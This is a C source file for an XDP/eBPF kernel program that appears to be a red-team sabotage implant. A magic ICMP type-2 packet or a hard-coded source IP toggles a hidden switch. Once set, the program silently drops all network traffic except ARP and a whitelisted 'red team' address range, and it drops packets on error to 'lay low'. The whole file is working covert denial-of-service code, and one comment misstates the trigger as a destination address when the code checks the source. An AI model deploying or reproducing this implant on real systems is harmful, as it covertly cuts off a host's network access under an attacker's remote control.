xdp-program/packet_dropper_new.c

b9ef8fbd63fface91ff3cd98d7d702f9827c322d · 2.5 KB · 95 lines raw

1 #include <linux/bpf.h>
2 #include <bpf/bpf_helpers.h>
3 #include <bpf/bpf_endian.h>
4 #include <linux/if_ether.h>
5 #include <linux/in.h>
6 #include <linux/if_packet.h>
7 #include <linux/ip.h>
8 #include <linux/icmp.h>
9 #include <linux/if_vlan.h>
10
11 struct {
12 __uint(type, BPF_MAP_TYPE_ARRAY);
13 __type(key, __u32);
14 __type(value, __u32);
15 __uint(max_entries, 1);
16 } status SEC(".maps");
17
18 SEC("xdpentry")
19 int entry(struct xdp_md *ctx) {
20 // Prepare some data structures
21 __u32 *rec;
22 __u32 key = 0;
23 void *data_end = (void *)(long)ctx->data_end;
24 void *data = (void *)(long)ctx->data;
25 struct ethhdr *eth = data;
26
27 rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map
28 if (!rec) {
29 return XDP_DROP; // try to lay low on error
30 }
31 //bpf_printk("Rec: %u", *rec); // Debug prints
32 if ((*rec != 55) && (*rec != 56)) {
33 // First run check
34 // bpf_printk("Resetting rec!"); // Debug Prints
35 *rec = 56; // set default value for map
36 }
37
38 if (eth + 1 > data_end) // Bounds checking for xdp preverifier
39 return XDP_PASS; // This should never run normally
40
41 if(bpf_ntohs(eth->h_proto) == ETH_P_ARP) {
42 return XDP_PASS; // don't kill layer 2 traffic
43 }
44
45 struct iphdr *iph = data + sizeof(struct ethhdr);
46 if (iph + 1 > data_end) // More bounds checking
47 return XDP_PASS; // This should never run either
48 //
49 __u32 ip_src = iph->saddr; // grab source address of packet
50
51 struct icmphdr *icmph = data + sizeof(struct ethhdr) + sizeof(struct iphdr);
52 if (icmph + 1 > data_end) {
53 // More bounds checking
54 return XDP_PASS;
55 }
56
57 char *pingdata = data + sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct icmphdr);
58
59 // bpf_printk("Incoming packet: %u\n", ip_src); // Debug print
60 // Determine if we need to further process this packet
61 //if (ip_src == 1946091487) {
62 bpf_printk("Incoming packet: %u\n", icmph->type);
63 if (icmph->type == 2 || ip_src == 1946091487) {
64 // This packet had a destination of 223.255.254.115, do something!
65 // bpf_printk("Got it!, setting rec..."); // Debug print
66 switch (*rec) {
67 case 55 :
68 *rec = 56;
69 break;
70 case 56 :
71 *rec = 55;
72 break;
73 }
74 return XDP_DROP;
75 }
76 else if (ip_src == 0) {
77 // most likely a layer 2 packet, let it thru
78 return XDP_PASS;
79 }
80
81 else if (ip_src >= 16974090 && ip_src <= 503513354) {
82 // IP is between 10.1.3.1 and 10.1.3.30. Allow to pass for red team
83 return XDP_PASS;
84 }
85
86 // Finish processing
87 if (*rec == 55) {
88 return XDP_DROP;
89 } else {
90 return XDP_PASS;
91 }
92 }
93
94
95 char _license[] SEC("license")= "GPL";